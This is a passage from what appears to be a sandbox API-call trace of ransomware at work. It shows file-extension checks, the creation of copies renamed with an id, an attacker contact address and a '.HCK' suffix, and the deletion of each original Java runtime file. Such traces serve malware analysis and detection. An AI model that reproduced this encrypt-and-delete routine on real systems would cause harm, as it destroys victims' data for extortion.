(lpString1=".ppt", lpString2=".dll") returned 1 [0225.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll") returned 55 [0225.307] lstrlenW (lpString=".zip") returned 4 [0225.307] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0225.307] lstrlenW (lpString=".rar") returned 4 [0225.307] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0225.307] lstrlenW (lpString=".bz2") returned 4 [0225.307] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0225.307] lstrlenW (lpString=".7z") returned 3 [0225.307] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0225.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll") returned 55 [0225.307] lstrlenW (lpString=".dbf") returned 4 [0225.307] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0225.548] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=149) returned 1 [0225.548] CloseHandle (hObject=0x454) returned 1 [0225.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties")) returned 0x20 [0225.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0225.548] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0225.549] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0225.549] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0225.549] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0225.551] GetLastError () returned 0x0 [0225.551] ReadFile (in: hFile=0x454, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x95, lpOverlapped=0x0) returned 1 [0225.770] WriteFile (in: hFile=0x3f0, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xa0, lpOverlapped=0x0) returned 1 [0225.771] ReadFile (in: hFile=0x454, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0225.771] WriteFile (in: hFile=0x3f0, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x104, lpOverlapped=0x0) returned 1 [0225.771] SetEndOfFile (hFile=0x3f0) returned 1 [0225.771] CloseHandle (hObject=0x3f0) returned 1 [0225.771] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0225.771] SetEndOfFile (hFile=0x454) returned 1 [0225.774] CloseHandle (hObject=0x454) returned 1 [0225.774] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0225.774] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties")) returned 1 [0225.775] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0225.775] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0225.775] lstrlenW (lpString=".doc") returned 4 [0225.775] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0225.775] lstrlenW (lpString=".docx") returned 5 [0225.775] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0225.775] lstrlenW (lpString=".pdf") returned 4 [0225.775] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0225.775] lstrlenW (lpString=".xls") returned 4 [0225.775] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0225.775] lstrlenW (lpString=".xlsx") returned 5 [0225.775] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0225.775] lstrlenW (lpString=".ppt") returned 4 [0225.775] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0225.775] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0225.775] lstrlenW (lpString=".zip") returned 4 [0225.775] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0225.775] lstrlenW (lpString=".rar") returned 4 [0225.775] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0225.775] lstrlenW (lpString=".bz2") returned 4 [0225.775] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0225.775] lstrlenW (lpString=".7z") returned 3 [0225.775] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0225.775] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0225.775] lstrlenW (lpString=".dbf") returned 4 [0225.775] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0225.775] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0225.775] lstrlenW (lpString=".1cd") returned 4 [0225.775] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0225.775] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0225.775] lstrlenW (lpString=".jpg") returned 4 [0225.776] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0225.776] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0225.776] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0225.776] lstrlenW (lpString=".doc") returned 4 [0225.776] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0225.776] lstrlenW (lpString=".docx") returned 5 [0225.776] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0225.776] lstrlenW (lpString=".pdf") returned 4 [0225.776] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0225.776] lstrlenW (lpString=".xls") returned 4 [0225.776] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0225.776] lstrlenW (lpString=".xlsx") returned 5 [0225.776] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0225.776] lstrlenW (lpString=".ppt") returned 4 [0225.776] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0225.776] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0225.776] lstrlenW (lpString=".zip") returned 4 [0225.776] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0225.776] lstrlenW (lpString=".rar") returned 4 [0225.776] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0225.776] lstrlenW (lpString=".bz2") returned 4 [0225.776] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0225.776] lstrlenW (lpString=".7z") returned 3 [0225.776] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0225.776] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0225.776] lstrlenW (lpString=".dbf") returned 4 [0225.776] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0225.776] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0225.776] lstrlenW (lpString=".1cd") returned 4 [0225.776] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0225.776] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0225.776] lstrlenW (lpString=".jpg") returned 4 [0225.776] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0225.776] lstrcmpiW (lpString1=".pf", lpString2=".HCK") returned 1 [0225.776] lstrlenW (lpString="PYCC.pf") returned 7 [0225.776] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0225.777] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=274474) returned 1 [0225.777] CloseHandle (hObject=0x454) returned 1 [0225.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf")) returned 0x20 [0225.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0225.777] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0225.778] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0225.778] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0225.778] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0225.778] GetLastError () returned 0x0 [0225.778] ReadFile (in: hFile=0x454, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x4302a, lpOverlapped=0x0) returned 1 [0225.793] WriteFile (in: hFile=0x3f0, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x43030, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x43030, lpOverlapped=0x0) returned 1 [0225.798] ReadFile (in: hFile=0x454, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0225.799] WriteFile (in: hFile=0x3f0, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xe2, lpOverlapped=0x0) returned 1 [0225.799] SetEndOfFile (hFile=0x3f0) returned 1 [0225.799] CloseHandle (hObject=0x3f0) returned 1 [0225.799] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0225.799] SetEndOfFile (hFile=0x454) returned 1 [0225.806] CloseHandle (hObject=0x454) returned 1 [0225.806] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0225.807] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf")) returned 1 [0225.807] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0225.807] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0225.807] lstrlenW (lpString=".doc") returned 4 [0225.808] lstrcmpiW (lpString1=".doc", lpString2="C.pf") returned -1 [0225.808] lstrlenW (lpString=".docx") returned 5 [0225.808] lstrcmpiW (lpString1=".docx", lpString2="CC.pf") returned -1 [0225.808] lstrlenW (lpString=".pdf") returned 4 [0225.808] lstrcmpiW (lpString1=".pdf", lpString2="C.pf") returned -1 [0225.808] lstrlenW (lpString=".xls") returned 4 [0225.808] lstrcmpiW (lpString1=".xls", lpString2="C.pf") returned -1 [0225.808] lstrlenW (lpString=".xlsx") returned 5 [0225.808] lstrcmpiW (lpString1=".xlsx", lpString2="CC.pf") returned -1 [0225.808] lstrlenW (lpString=".ppt") returned 4 [0225.808] lstrcmpiW (lpString1=".ppt", lpString2="C.pf") returned -1 [0225.808] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0225.808] lstrlenW (lpString=".zip") returned 4 [0225.808] lstrcmpiW (lpString1=".zip", lpString2="C.pf") returned -1 [0225.808] lstrlenW (lpString=".rar") returned 4 [0225.808] lstrcmpiW (lpString1=".rar", lpString2="C.pf") returned -1 [0225.808] lstrlenW (lpString=".bz2") returned 4 [0225.808] lstrcmpiW (lpString1=".bz2", lpString2="C.pf") returned -1 [0225.808] lstrlenW (lpString=".7z") returned 3 [0225.808] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0225.808] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0225.808] lstrlenW (lpString=".dbf") returned 4 [0225.808] lstrcmpiW (lpString1=".dbf", lpString2="C.pf") returned -1 [0225.808] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0225.808] lstrlenW (lpString=".1cd") returned 4 [0225.808] lstrcmpiW (lpString1=".1cd", lpString2="C.pf") returned -1 [0225.808] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0225.808] lstrlenW (lpString=".jpg") returned 4 [0225.808] lstrcmpiW (lpString1=".jpg", lpString2="C.pf") returned -1 [0225.808] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0225.808] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0225.808] lstrlenW (lpString=".doc") returned 4 [0225.808] lstrcmpiW (lpString1=".doc", lpString2="C.pf") returned -1 [0225.808] lstrlenW (lpString=".docx") returned 5 [0225.808] lstrcmpiW (lpString1=".docx", lpString2="CC.pf") returned -1 [0225.808] lstrlenW (lpString=".pdf") returned 4 [0225.808] lstrcmpiW (lpString1=".pdf", lpString2="C.pf") returned -1 [0225.808] lstrlenW (lpString=".xls") returned 4 [0225.808] lstrcmpiW (lpString1=".xls", lpString2="C.pf") returned -1 [0225.808] lstrlenW (lpString=".xlsx") returned 5 [0225.808] lstrcmpiW (lpString1=".xlsx", lpString2="CC.pf") returned -1 [0225.808] lstrlenW (lpString=".ppt") returned 4 [0225.808] lstrcmpiW (lpString1=".ppt", lpString2="C.pf") returned -1 [0225.808] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0225.808] lstrlenW (lpString=".zip") returned 4 [0225.808] lstrcmpiW (lpString1=".zip", lpString2="C.pf") returned -1 [0225.808] lstrlenW (lpString=".rar") returned 4 [0225.808] lstrcmpiW (lpString1=".rar", lpString2="C.pf") returned -1 [0225.808] lstrlenW (lpString=".bz2") returned 4 [0225.808] lstrcmpiW (lpString1=".bz2", lpString2="C.pf") returned -1 [0225.808] lstrlenW (lpString=".7z") returned 3 [0225.808] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0225.809] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0225.809] lstrlenW (lpString=".dbf") returned 4 [0225.809] lstrcmpiW (lpString1=".dbf", lpString2="C.pf") returned -1 [0225.809] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0225.809] lstrlenW (lpString=".1cd") returned 4 [0225.809] lstrcmpiW (lpString1=".1cd", lpString2="C.pf") returned -1 [0225.809] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0225.809] lstrlenW (lpString=".jpg") returned 4 [0225.809] lstrcmpiW (lpString1=".jpg", lpString2="C.pf") returned -1 [0225.809] lstrcmpiW (lpString1=".pf", lpString2=".HCK") returned 1 [0225.809] lstrlenW (lpString="sRGB.pf") returned 7 [0225.809] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0225.809] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=3144) returned 1 [0225.809] CloseHandle (hObject=0x454) returned 1 [0225.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf")) returned 0x20 [0225.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0225.810] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0225.810] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0225.810] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0225.810] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0225.811] GetLastError () returned 0x0 [0225.811] ReadFile (in: hFile=0x454, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0xc48, lpOverlapped=0x0) returned 1 [0225.982] WriteFile (in: hFile=0x3f0, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xc50, lpOverlapped=0x0) returned 1 [0225.984] ReadFile (in: hFile=0x454, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0225.984] WriteFile (in: hFile=0x3f0, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xe2, lpOverlapped=0x0) returned 1 [0225.984] SetEndOfFile (hFile=0x3f0) returned 1 [0225.984] CloseHandle (hObject=0x3f0) returned 1 [0225.984] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0225.984] SetEndOfFile (hFile=0x454) returned 1 [0225.987] CloseHandle (hObject=0x454) returned 1 [0225.987] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0225.987] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf")) returned 1 [0225.988] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0225.988] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0225.988] lstrlenW (lpString=".doc") returned 4 [0225.988] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1 [0225.988] lstrlenW (lpString=".docx") returned 5 [0225.988] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1 [0225.988] lstrlenW (lpString=".pdf") returned 4 [0225.988] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1 [0225.988] lstrlenW (lpString=".xls") returned 4 [0225.988] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1 [0225.988] lstrlenW (lpString=".xlsx") returned 5 [0225.988] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1 [0225.988] lstrlenW (lpString=".ppt") returned 4 [0225.988] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1 [0225.988] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0225.988] lstrlenW (lpString=".zip") returned 4 [0225.988] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1 [0225.988] lstrlenW (lpString=".rar") returned 4 [0225.988] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1 [0225.988] lstrlenW (lpString=".bz2") returned 4 [0225.988] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1 [0225.988] lstrlenW (lpString=".7z") returned 3 [0225.988] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0225.988] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0225.988] lstrlenW (lpString=".dbf") returned 4 [0225.988] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1 [0225.988] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0225.988] lstrlenW (lpString=".1cd") returned 4 [0225.988] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1 [0225.988] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0225.988] lstrlenW (lpString=".jpg") returned 4 [0225.988] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1 [0225.988] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0225.989] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0225.989] lstrlenW (lpString=".doc") returned 4 [0225.989] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1 [0225.989] lstrlenW (lpString=".docx") returned 5 [0225.989] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1 [0225.989] lstrlenW (lpString=".pdf") returned 4 [0225.989] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1 [0225.989] lstrlenW (lpString=".xls") returned 4 [0225.989] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1 [0225.989] lstrlenW (lpString=".xlsx") returned 5 [0225.989] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1 [0225.989] lstrlenW (lpString=".ppt") returned 4 [0225.989] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1 [0225.989] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0225.989] lstrlenW (lpString=".zip") returned 4 [0225.989] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1 [0225.989] lstrlenW (lpString=".rar") returned 4 [0225.989] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1 [0225.989] lstrlenW (lpString=".bz2") returned 4 [0225.989] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1 [0225.989] lstrlenW (lpString=".7z") returned 3 [0225.989] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0225.989] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0225.989] lstrlenW (lpString=".dbf") returned 4 [0225.989] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1 [0225.989] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0225.989] lstrlenW (lpString=".1cd") returned 4 [0225.989] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1 [0225.989] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0225.989] lstrlenW (lpString=".jpg") returned 4 [0225.989] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1 [0225.989] lstrcmpiW (lpString1=".properties", lpString2=".HCK") returned 1 [0225.989] lstrlenW (lpString="messages_de.properties") returned 22 [0225.989] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0225.990] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=3306) returned 1 [0225.990] CloseHandle (hObject=0x454) returned 1 [0225.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties")) returned 0x20 [0225.990] GetFileAttributesW (lpFileName="C:\\Program 